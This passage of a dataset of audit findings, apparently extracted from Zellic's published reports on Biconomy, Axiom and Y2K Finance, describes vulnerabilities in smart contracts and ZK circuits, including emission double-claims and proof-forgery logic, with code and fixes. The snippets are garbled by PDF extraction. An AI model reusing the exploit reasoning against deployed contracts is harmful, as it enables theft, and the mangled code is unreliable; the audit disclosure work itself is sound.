(x+p, y) \u2014 that can be used as a public key and for which signatures made for (x,y) would also verify. Finally, if the public key passed to Verify does not lie on the curve, then results re- turned by Verify do not have a meaningful interpretation. Whether the possibility an attacker could generate two different keys for which the same signature is valid is a problem depends on how the caller uses public keys and signature verification. 3 See for example the recommendation in NIST SP 800-186, Appendix D.1.1. Zellic Biconomy Labs This bug allows an attacker to generate public keys together with signatures that will be rejected by verification algorithms that validate the public key but will be accepted by Verify. The impact on the security of projects making use of the Secp256r1 library for signature verification is highly dependent on how signatures are otherwise used. See section 4.1 for a discussion of this as well as the reason for our severity rating. Ensure that (passKey.pubKeyX, passKey.pubKeyY) is a valid public key for the secp256r1 curve. One option is to check this in the Verify function. If this is instead ensured by callers to Verify, then one could alternatively document that Verify as- sumes validity of the public key and that the caller must ensure this. This issue has been acknowledged by Biconomy Labs, and fixes were implemented in the following commits: f7e03db2 55d6e09c Zellic Biconomy Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Biconomy Secp256r1 - Zellic Audit Report.pdf" + }, + { + "title": "3.4 Invalid Jacobian coordinates used for the point at infinity", + "labels": [ + "Zellic" + ], + "body": "Target: Secp256r1 Category: Coding Mistakes Likelihood: N/A Severity: Informational : Informational The functions ShamirMultJacobian and _preComputeJacobianPoints use (0, 0, 0) with the intention to represent the point at infinity in Jacobian coordinates. However, this is not a valid point in Jacobian coordinates. The point at infinity is represented in Jacobian coordinates with (c^2, c^3, 0), with 0 < c < p and exponentiation done modulo p [4]. As _affineFromJacobian and _jAdd check for an argument being the point at infinity by only comparing the last component with 0, they work as intended anyway. The function _modifiedJacobianDouble will return (0,0,0) if passed (0,0,0). Results are thus currently correct if (0, 0, 0) is treated as an alias for the point at infinity. Consider changing (0,0,0) to (1,1,0) in the two places; or, if it is preferred to keep (0, 0,0) as an efficiency trick to save gas, document that this is intentional and that func- tions such as _jAdd, _modifiedJacobianDouble, and _affineFromJacobian must treat (0,0,0) as the point at infinity. In the latter case, we recommend adding test cases for this as well. This issue has been acknowledged by Biconomy Labs, and fixes were implemented in the following commits: f7e03db2 55d6e09c 43525074 4 p refers to the prime over which the elliptic curve is defined. Zellic Biconomy Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Biconomy Secp256r1 - Zellic Audit Report.pdf" + }, + { + "title": "3.1 The verify_field_hash function has incorrect Merkle proof\u2013 verification logic", + "labels": [ + "Zellic" + ], + "body": "Target: src/ssz/mod.rs Category: Coding Mistakes Likelihood: High Severity: High : High The verify_field_hash function, which aims to verify the value of a field at a certain position from an SSZ structure, takes an SSZ inclusion proof along with the maximum number of fields and the field index, then shows that the claimed value is included at the specified index. The index can be proved by matching its bit representation with the direction values provided in the Merkle proof. However, the given code matches the direction values with the byte representation of the index, instead of the bit representation. This is shown below. pub fn verify_field_hash( &self, ctx: &mut Context, field_num: AssignedValue, max_fields: usize, proof: SSZInputAssigned, ) -> SSZInclusionWitness { assert!(max_fields > 0); let log_max_fields = log2(max_fields); self.range().check_less_than_safe(ctx, field_num, max_fields as u64); let field_num_bytes = uint_to_bytes_be(ctx, self.range(), &field_num, log_max_fields as usize); /) byte representation let witness = self.verify_inclusion_proof(ctx, proof); let bad_depth = self.range().is_less_than_safe(ctx, witness.depth, log_max_fields as u64); self.gate().assert_is_const(ctx, &bad_depth, &F:)from(0)); Zellic Axiom for i in 1.)(log_max_fields + 1) { let index = self.gate().sub(ctx, witness.depth, Constant(F:)from(i as u64))); let dir_bit = self.gate().select_from_idx(ctx, witness.directions.clone(), index); ctx.constrain_equal(&dir_bit, field_num_bytes[(log_max_fields - i) as usize].as_ref()); } witness } As the directions are constrained to be boolean in the verify_inclusion_proof, any field_num value that has nonboolean value in the byte representation cannot be used in the verify_field_hash function. This implies that the circuit does not satisfy com- pleteness. We recommend using the bit representation to compare with the direction values. This issue has been acknowledged by Axiom, and a fix was implemented in commit 6e2f7454. Zellic Axiom", + "html_url": "https://github.com/Zellic/publications/blob/master/Axiom October - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Insufficient maximum depth for the MPT proofs leads to a potential DOS attack", + "labels": [ + "Zellic" + ], + "body": "Target: src/storage/mod.rs Category: Coding Mistakes Likelihood: High Severity: High : High As seen in the src/storage/mod.rs code, the maximum depth for the account proof is set to 10. This value is sent over to the MPT circuits as the max_depth value. pub const ACCOUNT_PROOF_MAX_DEPTH: usize = 10; pub const STORAGE_PROOF_MAX_DEPTH: usize = 9; However, given a target address, it is feasible to compute private keys corresponding to addresses that make the MPT inclusion proof for the target address have depth larger than 10. For example, simply working with the first 11 hex values, one can run a parallelizable O(2^44) attack to find the relevant private keys. All storage proofs or account proofs relevant to the targeted address will fail, leading to a denial-of-service\u2013like impact. We recommend increasing the maximum depth of the account proofs and storage proofs accordingly. Axiom acknowledged this finding and provided the below response. 1. We have moved these constants to axiom-query in the second audit: axiom-query 2. In a subsequent PR, we added max_trie_depth to core_params for Account, Storage, Transaction, and Receipt subquery circuits, so they are accurately recorded as circuit configuration parameters. Zellic Axiom In production, we will use the following max_trie_depth\u2019s: Account(state) trie: 14 Storage trie: 13 Transaction trie: 6 Receipt trie: 6 For account and storage, these max depths were determined by running an anal- ysis on a Geth full node: https://hackmd.io/@axiom/BJBledudT. Zellic Axiom", + "html_url": "https://github.com/Zellic/publications/blob/master/Axiom October - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Function new_from_bytes in src/ssz/types.rs is incorrect", + "labels": [ + "Zellic" + ], + "body": "Target: src/ssz/types.rs Category: Coding Mistakes Likelihood: N/A Severity: Informational : Informational The new_from_bytes function in SszBasicTypeList takes a vector of AssignedBytes< F> and the len to create a new SszBasicTypeList. To do so, it computes the pre_len array, which represents whether or not the current index is less than the len value. The point of computing this array, as shown in other functions such as new_mask, is that the value can be multiplied by the pre_len array to force all values at index no less than len to be equal to zero. This is shown in the code below. pub fn new_mask( ctx: &mut Context, range: &RangeChip, values: Vec), int_bit_size: usize, len: AssignedValue, ) -> Self { /) ...)) for j in 0.)values.len() { let mut new_bytes = Vec:)new(); for i in 0.)int_byte_size { let val = range.gate().mul(ctx, values[j].value()[i], pre_len[j]); new_bytes.push(val); } let new_basic = SszBasicType:)new(ctx, range, new_bytes, int_bit_size); new_list.push(new_basic); } /) ...)) } Here, we see that all bytes in the values[j].value() are multiplied with pre_len[j] correctly. However, in the new_from_bytes function, this is handled incorrectly. Zellic Axiom pub fn new_from_bytes( ctx: &mut Context, range: &RangeChip, vals: Vec), int_bit_size: usize, len: AssignedValue, ) -> Self { /) ...)) for value in vals { let mut new_value = Vec:)new(); for i in 0.)32 { let new_val = range.gate.mul(ctx, value[i], pre_len[i]); new_value.push(new_val); } let basic_type = SszBasicType:)new(ctx, range, new_value, int_bit_size); values.push(basic_type); } /) ...)) } Here, we see that value[i], which is the ith byte of a single AssignedBytes instance, is multiplied with the pre_len[i], which is incorrect. We also note that the pre_len array is initialized with the length values.len(), which is zero. pub fn new_from_bytes( ctx: &mut Context, range: &RangeChip, vals: Vec), int_bit_size: usize, len: AssignedValue, ) -> Self { /) ...)) let mut values = Vec:)new(); /) safety constraints? let len_minus_one = range.gate.dec(ctx, len); let len_minus_one_indicator = range.gate.idx_to_indicator(ctx, len_minus_one, vals.len()); let zero = ctx.load_zero(); Zellic Axiom let mut pre_len = vec![zero; values.len()]; /) ...)) } To the best of our knowledge, this function is not used anywhere. We recommend removing the new_from_bytes function. This issue has been acknowledged by Axiom, and a fix was implemented in commit 54dabf29. Zellic Axiom", + "html_url": "https://github.com/Zellic/publications/blob/master/Axiom October - Zellic Audit Report.pdf" + }, + { + "title": "3.4 The node type of terminal node in MPT is not range checked to be a bit", + "labels": [ + "Zellic" + ], + "body": "Target: src/mpt/mod.rs Category: Coding Mistakes Likelihood: Medium Severity: Medium : Medium All inputs to the MPT inclusion/exclusion proof circuit are range checked in parse_mp t_inclusion_phase0 to ensure there is no undefined behavior in functions that expect input witness values to be bytes or boolean values. The node_type for every node in proof is range checked to be a single bit; however, this check is missed for proof.lea f.node_type. for bit in iter:)once(&proof.slot_is_empty) .chain(proof.nodes.iter().map(|node| &node.node_type)) .chain(proof.key_frag.iter().map(|frag| &frag.is_odd)) { } self.gate().assert_bit(ctx, *bit); This missing range check can lead to undefined behavior as proof.leaf.node_type is passed into functions that assume the corresponding argument to be boolean, such as in parse_terminal_node_phase0. self.gate().select(ctx, node_byte, dummy_ext_byte, leaf_bytes.node_type) self.gate().select(ctx, dummy_branch_byte, node_byte, leaf_bytes.node_type) Assert proof.leaf.node_type to be boolean. for bit in iter:)once(&proof.slot_is_empty) .chain(proof.nodes.iter().map(|node| &node.node_type)) .chain(proof.key_frag.iter().map(|frag| &frag.is_odd)) Zellic Axiom .chain(vec![proof.leaf.node_type]) self.gate().assert_bit(ctx, *bit); { } This issue has been acknowledged by Axiom, and a fix was implemented in commit 3ff70a54. Zellic Axiom", + "html_url": "https://github.com/Zellic/publications/blob/master/Axiom October - Zellic Audit Report.pdf" + }, + { + "title": "3.5 No leading zero check in rlp(idx) leads to soundness bug in transaction circuit", + "labels": [ + "Zellic" + ], + "body": "Target: src/transaction/mod.rs Category: Coding Mistakes Likelihood: High Severity: Critical : Critical The transaction trie maps rlp(transaction_index) to the rlp(transaction) or TxType | rlp(transaction), depending on whether the transaction is a legacy transaction or not. One of the goals of the transaction circuit is to validate whether transaction_ind ex exists in the trie or not. To do so, the circuit validates that the key_bytes of the MPTProof structure is equal to the RLP-encoded transaction_index. This is done as follows \u2014 first, the key_byt es is RLP decoded. Then, the decoded bytes are evaluated as an integer. Then, the evaluated value is constrained to be equal to the transaction_index. pub fn parse_transaction_proof_phase0( &self, ctx: &mut Context, input: EthTransactionInputAssigned, ) -> EthTransactionWitness { /) ...)) /) check key is rlp(idx): /) given rlp(idx), parse idx as var len bytes let idx_witness = self.rlp().decompose_rlp_field_phase0( ctx, proof.key_bytes.clone(), TRANSACTION_IDX_MAX_LEN, ); /) evaluate idx to number let tx_idx = evaluate_byte_array(ctx, self.gate(), &idx_witness.field_cells, idx_witness.field_len); /) check idx equals provided transaction_index from input ctx.constrain_equal(&tx_idx, &transaction_index); /) ...)) } Zellic Axiom Here, the TRANSACTION_IDX_MAX_LEN is set to 2. This may cause an issue, as there is no check that the RLP-decoded bytes have no leading zeros. In the case where transac tion_index = 4, the actual transaction is stored in the key rlp(0x04). However, one can set the key_bytes as rlp(0x0004) and it would still satisfy all the constraints. The issue is that there would not be any value corresponding to the key rlp(0x0004 ), so even when there is actually a transaction with index 4, it would be possible to prove that there is no such a transaction. A similar issue is also present in the receipt circuit. This can be used create a fake proof that a block has an incorrect number of transac- tions. Suppose that there are actually 20 transactions in a block. One can prove that a transaction with index 4 exists in the block as usual, then prove that a transaction with index 5 does not exist in the block using the vulnerability we describe above. This is sufficient to prove that there are only five transactions in the block. We recommend adding a padding check to the RLP decomposition. This issue has been acknowledged by Axiom, and a fix was implemented in commit f3b1130e. Zellic Axiom", + "html_url": "https://github.com/Zellic/publications/blob/master/Axiom October - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Emissions can be claimed multiple times", + "labels": [ + "Zellic" + ], + "body": "Target: StrategyVault Category: Business Logic Likelihood: High Severity: Critical : Critical The function claimEmissions can be used by users to claim Y2K emissions. This func- tion uses the correct vault balance of users to calculate the accumulated emissions and then subtracts the emission debt to find out the amount of emission tokens to be transferred to the users. function claimEmissions(address receiver) external returns (uint256 emissions) { } int256 accEmissions = int256( (balanceOf[msg.sender] * accEmissionPerShare) / PRECISION ); emissions = uint256(accEmissions - userEmissionDebt[msg.sender]); userEmissionDebt[msg.sender] = accEmissions; if (emissions > 0) emissionToken.safeTransfer(receiver, emissions); emit EmissionsClaimed(msg.sender, receiver, emissions); A user can also transfer their vault tokens to another account after calling claimEmis sions. As the emission debt is not transferred along with the vault balance, they can call claimEmissions again using their other account and claim these emissions again. This process can be repeated multiple times, effectively draining all the emission to- kens from the StrategyVault contract. All the emission tokens can be drained out of the contract. Zellic Y2K Finance While transferring tokens using the functions transfer and transferFrom, it is impor- tant to update the userEmissionDebt mapping using the function _updateUserEmissio ns. To do this, override the _transfer function, which is called in both transfer and tran sferFrom functions, to add the following additional logic. function _transfer(address sender, address recipient, uint256 amount) internal virtual override { _updateUserEmissions(sender,amount,false); _updateUserEmissions(recipient,amount,true); super._transfer(sender, recipient, amount); } The issue was fixed in commit dd5470d and 7a57688. Zellic Y2K Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Y2K Finance - Zellic Audit Report.pdf" + }, + { + "title": "3.2 The value of queuedWithdrawalTvl can be artificially inflated", + "labels": [ + "Zellic" + ], + "body": "Target: StrategyVault Category: Business Logic Likelihood: High Severity: High : High The value of queuedWithdrawalTvl can be artificially inflated, which might revert the transactions calling fetchDeployAmounts or deployPosition in StrategyVault and _borr ow in the HookAaveFixYield and HookAave contracts. When a user calls requestWithdrawal, the value of totalQueuedShares[deployId] is increased by the amount of shares. The user can then transfer their funds to another wallet and call requestWithdrawal again, which would increase the totalQueuedShare s[deployId] for the second time. This can be repeated multiple times to artificially increase the value of totalQueuedSh ares[deployId]. When the owner closes this position using closePosition, this value will be added to queuedWithdrawalTvl, thus increasing its value more than intended. If the value of queuedWithdrawalTvl becomes greater than totalAssets() after a suc- cessful exploit, it will revert the function call fetchDeployAmounts and deployPosition in the StrategyVault contract due to integer underflow. This would also revert any call to availableUnderlying, which is called in _borrow in the hook contract. Certain function calls would revert, and new positions cannot be deployed. When a user requests withdrawal using the requestWithdrawal, these funds should not be allowed to be transferred to other wallets. An additional check can be implemented in the _transfer function that checks that no more than balanceOf[sender] - withdrawQueue[sender].shares are transferred from the sender\u2019s address. function _transfer(address sender, address recipient, uint256 amount) internal virtual override { require(balanceOf[sender] - withdrawQueue[sender].shares > amount,\u201dNot enough funds\u201d); Zellic Y2K Finance _updateUserEmissions(sender,amount,false); _updateUserEmissions(recipient,amount,true); super._transfer(sender, recipient, amount); } The issue was fixed in commit 11f6797. Zellic Y2K Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Y2K Finance - Zellic Audit Report.pdf" + }, + { + "title": "3.3 The lack of token addresses\u2019 verification", + "labels": [ + "Zellic" + ], + "body": "Target: zapFrom Category: Coding Mistakes Likelihood: Low Severity: High : High The permitSwapAndBridge and swapAndBridge functions allow users to perform the swap, and after that, bridge the resulting tokens to another chain using Stargate, which is a decentralised bridge and exchange building on top of the Layer Zero protocol. These functions have the following parameters: swapPayload, receivedToken, and _s rcPoolId. The swapPayload parameter contains all the necessary data for the swap, including the path array with the list of tokens involved in the swap process. It is assumed that the final address of the token participating in the swap will be used for cross-chain swap. The receivedToken token address will be used by the _bridge function for assigning the approval for the stargateRouter contract. Besides that, the user controls the _srcPoolId parameter, which determines the pool address, which is associated with a specific token and will hold the assets of the tokens that will be transferred from the current contact inside stargateRouter. However, there is no verification that these three addresses \u2013 receivedToken, the last address in path and pool.token() \u2013 match each other. When using native tokens, the user should pass the wethAddress address as received Token because before _bridge, the necessary amount of tokens should be withdrawn from the weth contract. After that, the receivedToken will be rewritten to zero address. Currently there is no verification that the receivedToken is not zero initially. function swapAndBridge( uint amountIn, address fromToken, address receivedToken, uint16 srcPoolId, uint16 dstPoolId, bytes1 dexId, bytes calldata swapPayload, bytes calldata bridgePayload ) external payable { _checkConditions(amountIn); Zellic Y2K Finance ERC20(fromToken).safeTransferFrom(msg.sender, address(this), amountIn); uint256 receivedAmount; if (dexId !) 0x05) { receivedAmount = _swap(dexId, amountIn, swapPayload); } else { ERC20(fromToken).safeApprove(balancerVault, amountIn); receivedAmount = _swapBalancer(swapPayload); } if (receivedToken =) wethAddress) { WETH(wethAddress).withdraw(receivedAmount); receivedToken = address(0); } _bridge( receivedAmount, receivedToken, srcPoolId, dstPoolId, bridgePayload ); } function _bridge( uint amountIn, address fromToken, uint16 srcPoolId, uint16 dstPoolId, bytes calldata payload ) private { if (fromToken =) address(0)) { /) NOTE: If sending after swap to ETH then msg.value will be < amountIn as it only contains the fee If sending without swap msg.value will be > amountIn as it contains both fee + amountIn **/ uint256 msgValue = msg.value > amountIn ? msg.value : amountIn + msg.value; Zellic Y2K Finance IStargateRouter(stargateRouterEth).swapETHAndCall{value: msgValue}(...))); ...)) } ...)) } Due to the lack of verification that the receivedToken address matches the last ad- dress in the path array and pool.token() address, users are able to employ any token address as the receivedToken. This potentially allows them to successfully execute cross-chain swaps using tokens owned by the contract. In instances where a user initially sets the receivedToken address to the zero address, the required amount of tokens will not be withdrawn from the weth contract. Conse- quently, the contract will attempt to transfer to the stargateRouter contract the funds present in its balance before the transaction took place. In both scenarios, if the contract possesses any tokens, they can be utilized instead of the tokens received during the execution of the swap. This also leads to a problem in the _bridge function during msgValue calculation. When the fromToken (receivedToken from swapAndBridge) is not the outcome of a swap, users can specify any amountIn as the result of a swap involving a different token. This am ountIn value will then be used as the ETH value. Consequently, if the contract holds other funds, they will be sent to stargateRouterEth along with the user\u2019s fee. We recommend to add the check that the receivedToken and the last address in path and pool.token() match each other \u2014 and also that the receivedToken address is not equal to zero address. This issue has been acknowledged by Y2K Finance, and a fix was implemented in commit 5f79149. Zellic Y2K Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Y2K Finance - Zellic Audit Report.pdf" + }, + { + "title": "3.4 The lack of verification of the payload data", + "labels": [ + "Zellic" + ], + "body": "Target: zapFrom Category: Coding Mistakes Likelihood: High Severity: High : High Within the functions bridge, permitSwapAndBridge, and swapAndBridge, there is a lack of validation for the payload or bridgePayload data provided by users, which is trans- mitted to the stargateRouter contract for subsequent transmission to the destination chain. The sgReceive function expects that _payload will include the receiver address, the vault\u2019s epoch id, and the vaultAddress. However, if the data type mismatches the expected format, the refund process using the _stageRefund function will not occur as the function call will result in a revert. function sgReceive( uint16 _chainId, bytes memory _srcAddress, uint256 _nonce, address _token, uint256 amountLD, bytes calldata _payload ) external payable override { if (msg.sender !) stargateRelayer &) msg.sender !) stargateRelayerEth) revert InvalidCaller(); (address receiver, uint256 id, address vaultAddress) = abi.decode( _payload, (address, uint256, address) ); if (id =) 0) return _stageRefund(receiver, _token, amountLD); if (whitelistedVault[vaultAddress] !) 1) return _stageRefund(receiver, _token, amountLD); bool success = _depositToVault(id, amountLD, _token, vaultAddress); if (!success) return _stageRefund(receiver, _token, amountLD); receiverToVaultToIdToAmount[receiver][vaultAddress][id] += amountLD; emit ReceivedDeposit(_token, address(this), amountLD); } Zellic Y2K Finance The absence of proper payload validation exposes the system to potential issues, as incorrect or malformed payloads could cause the subsequent sgReceive function call from the zapDest contract to revert. Such reverts could lead to locked funds and hinder the expected behavior of the system. Instead of accepting raw payload data from users, we recommend encoding the pay- load data directly inside the functions bridge, permitSwapAndBridge, and swapAndBrid ge. This ensures that the payload is created according to the expected format and reduces the likelihood of incorrect payloads causing reverts of calls in the destination contract. If the payload must be provided by users, we recommend to implement robust input validation mechanisms to ensure that only valid and properly formatted payloads are accepted. This issue has been acknowledged by Y2K Finance, and a fix was implemented in commit 56a1461. Zellic Y2K Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Y2K Finance - Zellic Audit Report.pdf" + }, + { + "title": "3.5 Incorrect loop implementation in the function clearQueued Deposits", + "labels": [ + "Zellic" + ], + "body": "Target: StrategyVault Category: Coding Mistakes Likelihood: Medium Severity: Low : Low The function clearQueuedDeposits is used to clear a fixed amount of deposits in the queue. This function loops through the queueDeposits mapping and pops the last el- ement of the array while minting shares to the expected receivers in that mapping. The issue is that the array indexing used to access queueDeposits is incorrect because the array index will be out of bound in many cases. Shown below is the relevant part of the code: function clearQueuedDeposits( uint256 queueSize ) external onlyOwner returns (uint256 pulledAmount) { /)...)) for (uint256 i = depositLength - queueSize; i < queueSize; ) { QueueDeposit memory qDeposit = queueDeposits[queueSize - i - 1]; uint256 shares = qDeposit.assets.mulDivDown( cachedSupply, cachedAssets ); In many cases the function might revert. Consider changing the code to the following: function clearQueuedDeposits( uint256 queueSize ) external onlyOwner returns (uint256 pulledAmount) { /)...)) for (uint256 i = depositLength; i > depositLength - queueSize; ) { Zellic Y2K Finance QueueDeposit memory qDeposit = queueDeposits[i - 1]; /)...)) unchecked { i-); } The issue was fixed in commit cf415dd. Zellic Y2K Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Y2K Finance - Zellic Audit Report.pdf" + }, + { + "title": "3.6 Lack of data validation for trustedRemoteLookup", + "labels": [ + "Zellic" + ], + "body": "Target: zapDest Category: Coding Mistakes Likelihood: Low Severity: Informational : Informational The current implementation of the lzReceive function lacks checks to verify the va- lidity of the data stored in trustedRemoteLookup[_srcChainId] and _srcAddress bytes. If trustedRemoteLookup[_srcChainId] is not set and _srcAddress is zero bytes, the re- sult of the check if (keccak256(_srcAddress) !) keccak256(trustedRemoteLookup[_s rcChainId])) will be true because keccak256(\u201c\u201d) =) keccak256(\u201c\u201d). function lzReceive( uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload ) external override { if (msg.sender !) layerZeroRelayer) revert InvalidCaller(); if ( keccak256(_srcAddress) !) keccak256(trustedRemoteLookup[_srcChainId]) ) revert InvalidCaller(); ...)) } The issue currently has no security impact, because it is not expected that the layerZe- roRelayer contract will send an empty _srcAddress. But limiting a contract\u2019s attack surface is a crucial way to mitigate future risks. To ensure data consistency and avoid potential issues, it is recommended to add the following checks: trustedRemoteLookup[_srcChainId] > 0 Zellic Y2K Finance _srcAddress.length =) trustedRemoteLookup[_srcChainId].length An example of such checks can be found in the implementation provided by LayerZero Labs here. This issue has been acknowledged by Y2K Finance, and a fix was implemented in commit 32eaca8. Zellic Y2K Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Y2K Finance - Zellic Audit Report.pdf" + }, + { + "title": "3.7 Array out-of-bound exception in _removeVaults", + "labels": [ + "Zellic" + ], + "body": "Target: StrategyVault Category: Coding Mistakes Likelihood: Medium Severity: Low : Low The function _removeVaults is a helper function that removes vaults from the vaultLi st. While removing a vault from the middle of the array, it is intended to replace the vault at the last index with the vault to be removed and pop the last vault. The index of the last element of the array should be removeCount - 1 (where removeCo unt = vaults.length), but the function is using the last element as removeCount \u2014 due to which it will revert because it would access element out-of-bounds of the array. Shown below is the relevant part of the code: function _removeVaults( address[] memory vaults ) internal returns (address[] memory newVaultList) { /)...)) } else { if (vaults.length > 1) { vaults[j] = vaults[removeCount]; delete vaults[removeCount]; } else delete vaults[j]; removeCount-); } /)...)) The _removeVaults function would revert in certain cases. Use the correct last array index removeCount - 1 instead of removeCount: function _removeVaults( address[] memory vaults Zellic Y2K Finance ) internal returns (address[] memory newVaultList) { /)...)) } else { if (vaults.length > 1) { vaults[j] = vaults[removeCount]; delete vaults[removeCount]; vaults[j] = vaults[removeCount - 1]; delete vaults[removeCount - 1]; } else delete vaults[j]; removeCount-); } /)...)) The issue was fixed in commit fd2a6f3. Zellic Y2K Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Y2K Finance - Zellic Audit Report.pdf" + }, + { + "title": "3.8 The function _removeVaults returns early", + "labels": [ + "Zellic" + ], + "body": "Target: StrategyVault Category: Coding Mistakes Likelihood: Medium Severity: Low : Low The function _removeVaults is a helper function that removes vaults from the vaultL ist. While removing the vaults, it runs two loops, but the return statement is inside the first loop, due to which this function returns after the first iteration of the first loop. The intended functionality is to return after both the loops are finished. The _removeVaults function would return early, and all the vaults will not be removed from the list as intended. Move the two lines outside of the loop: function _removeVaults( address[] memory vaults ) internal returns (address[] memory newVaultList) { uint256 removeCount = vaults.length; newVaultList = vaultList; for (uint256 i; i < newVaultList.length; ) { for (uint j; j < removeCount; ) { if (vaults[j] =) newVaultList[i]) { /) Deleting the removeVault from the list if (j =) removeCount) { delete vaults[j]; removeCount-); } else { if (vaults.length > 1) { vaults[j] = vaults[removeCount]; delete vaults[removeCount]; } else delete vaults[j]; removeCount-); } Zellic Y2K Finance /) Deleting the vault from the newVaultList list if ( newVaultList[i] =) newVaultList[newVaultList.length - 1] ) { delete newVaultList[i]; } else { newVaultList[i] = newVaultList[newVaultList.length - 1]; delete newVaultList[newVaultList.length - 1]; } } unchecked { j+); } } unchecked { i+); } vaultList = newVaultList; return newVaultList; vaultList = newVaultList; return newVaultList; } } The issue was fixed in commit 945734b and 6bd136c. Zellic Y2K Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Y2K Finance - Zellic Audit Report.pdf" + }, + { + "title": "3.9 The weightStrategy range violation", + "labels": [ + "Zellic" + ], + "body": "Target: StrategyVault Category: Coding Mistakes Likelihood: Low Severity: Low : Low The weightStrategy global variable determines the weight strategy used when de- ploying funds and can take one of three values: 1. for equal weight 2. for fixed weight 3. for threshold weight However, the setWeightStrategy function allows the owner of the contract to set this value to a number less than or equal to strategyCount(), which is equal to 4. function setWeightStrategy( uint8 weightId, uint16 proportion, uint256[] calldata fixedWeights ) external onlyOwner { ...)) if (weightId > strategyCount()) revert InvalidWeightId(); ...)) weightStrategy = weightId; weightProportion = proportion; vaultWeights = fixedWeights; emit WeightStrategyUpdated(weightId, proportion, fixedWeights); } function strategyCount() public pure returns (uint256) { return 4; } If the weightStrategy is set to 4, the fetchWeights function will revert because there is a check that this value cannot be more than 3. As a result, the deployPosition function, Zellic Y2K Finance which is called by the owner of the contract, will also revert, preventing the owner from deploying funds to Y2K vaults. We recommend to change the condition from > to >). function setWeightStrategy( uint8 weightId, uint16 proportion, uint256[] calldata fixedWeights ) external onlyOwner { ...)) if (weightId > strategyCount()) revert InvalidWeightId(); if (weightId >) strategyCount()) revert InvalidWeightId(); ...)) } The issue was fixed in commit 2248d6f. Zellic Y2K Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Y2K Finance - Zellic Audit Report.pdf" + }, + { + "title": "3.10 Incompatibility with USDT token", + "labels": [ + "Zellic" + ], + "body": "Target: VaultController Category: Business Logic Likelihood: Medium Severity: Medium : Medium While depositing ERC-20 tokens to the vault, the contract first approves the token to the vault using safeApprove from the solmate library and then calls deposit on the earthquake vault in a try-catch. The code is as follows: function _depositToVault( uint256 id, uint256 amount, address inputToken, address vaultAddress ) internal returns (bool) { if (inputToken =) sgEth) { try IEarthquake(vaultAddress).depositETH{value: amount}( id, address(this) ) {} catch { return false; } } else { ERC20(inputToken).safeApprove(address(vaultAddress), amount); try IEarthquake(vaultAddress).deposit(id, amount, address(this)) {} catch { return false; } } return true; } If the call to deposit on the earthquake vault fails, it would be caught using the catch statement and the function would simply return false. In this case, the approval would Zellic Y2K Finance not be decreased as the tokens would not be transferred to the earthquake vault. If this token is USDT, subsequent calls to safeApprove will revert, as USDT\u2019s approve function reverts if the current allowance is nonzero. USDT deposits to the earthquake vault might fail in case any deposit to the vault fails. Consider changing the code to the following: function _depositToVault( uint256 id, uint256 amount, address inputToken, address vaultAddress ) internal returns (bool) { if (inputToken =) sgEth) { try IEarthquake(vaultAddress).depositETH{value: amount}( id, address(this) ) {} catch { return false; } } else { ERC20(inputToken).safeApprove(address(vaultAddress), 0); ERC20(inputToken).safeApprove(address(vaultAddress), amount); try IEarthquake(vaultAddress).deposit(id, amount, address(this)) {} catch { return false; } } return true; } Zellic Y2K Finance This issue has been acknowledged by Y2K Finance, and a fix was implemented in commit d17e221. Zellic Y2K Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Y2K Finance - Zellic Audit Report.pdf" + }, + { + "title": "3.11 Conversion between different units does not account for token decimals", + "labels": [ + "Zellic" + ], + "body": "Target: HookAave, HookAaveFixYield Category: Business Logic Likelihood: Medium Severity: Medium : Medium The functions _borrow and _repay in the hook contracts are used to borrow and repay to Aave. Taking an example of _repay, this function calculates the amount to be repaid using balanceOf on the variable debt token as well as the current balance of borrow tokens using balanceOf on the borrow token. If the amount to be repaid is greater than the current balance of borrow tokens, the function _swapForMissingBorrowToken withdraws the deposit token and swaps these tokens to borrow tokens to repay the amount to Aave. The amount to be withdrawn is calculated by the following code: function _swapForMissingBorrowToken( address borrowToken, uint256 amountNeeded ) internal { ERC20 depositToken = strategyDepositToken; uint256 exchangeRate = (aaveOracle.getAssetPrice(borrowToken) * 105e16) / aaveOracle.getAssetPrice(address(depositToken)); uint256 amountToWithdraw = ((exchangeRate * amountNeeded) / 1e18); _withdraw(amountToWithdraw, false); _swap(amountToWithdraw, depositToken, 1); } Although this would work if both tokens are of the same decimals, there would be an issue if these tokens (depositToken and borrowToken) are of different decimals. For example, if borrowToken is ETH and depositToken is USDC, and the amountNeeded is 100 ETH, assuming the price of ETH to be $1,200, the value of amountToWithdraw would be calculated as 126,000e18 whereas it should be 126,000e6. The same issue is also present in the _repay function. Zellic Y2K Finance Incorrect decimal conversion might lead to incorrect values during _borrow and _rep ay. Take into account the decimals for all the tokens while such conversions take place. The issue was fixed in commits 80da566 and 0db93f7. Zellic Y2K Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Y2K Finance - Zellic Audit Report.pdf" + }, + { + "title": "3.12 Malicious users can profit due to temporary exchange rate fluctuations", + "labels": [ + "Zellic" + ], + "body": "Target: StrategyVault Category: Business Logic Likelihood: Low Severity: Medium : Medium When a position is closed by calling closePosition, the deposit queue is cleared by pulling funds from the queue contract using the function _pullQueuedDeposits. The function _pullQueuedDeposits is only called when the length of queueDeposits is less than maxQueuePull. If the length of this queueDeposits array is greater than maxQueuePull, the queue is first reduced using the function clearQueuedDeposits. The relevant part of the code is shown below: function closePosition() external onlyOwner { if (!fundsDeployed) revert FundsNotDeployed(); /)...)) fundsDeployed = false; /)...)) uint256 queueLength = queueDeposits.length; if (queueLength > 0 &) queueLength < maxQueuePull) _pullQueuedDeposits(queueLength); } There may be a scenario where either the owner forgets to call the clearQueuedDepos its function before closePosition or a malicious user front-runs the owner\u2019s closeP osition call to increase the length of the queue such that _pullQueuedDeposits is not called. In both these cases, the queue will not 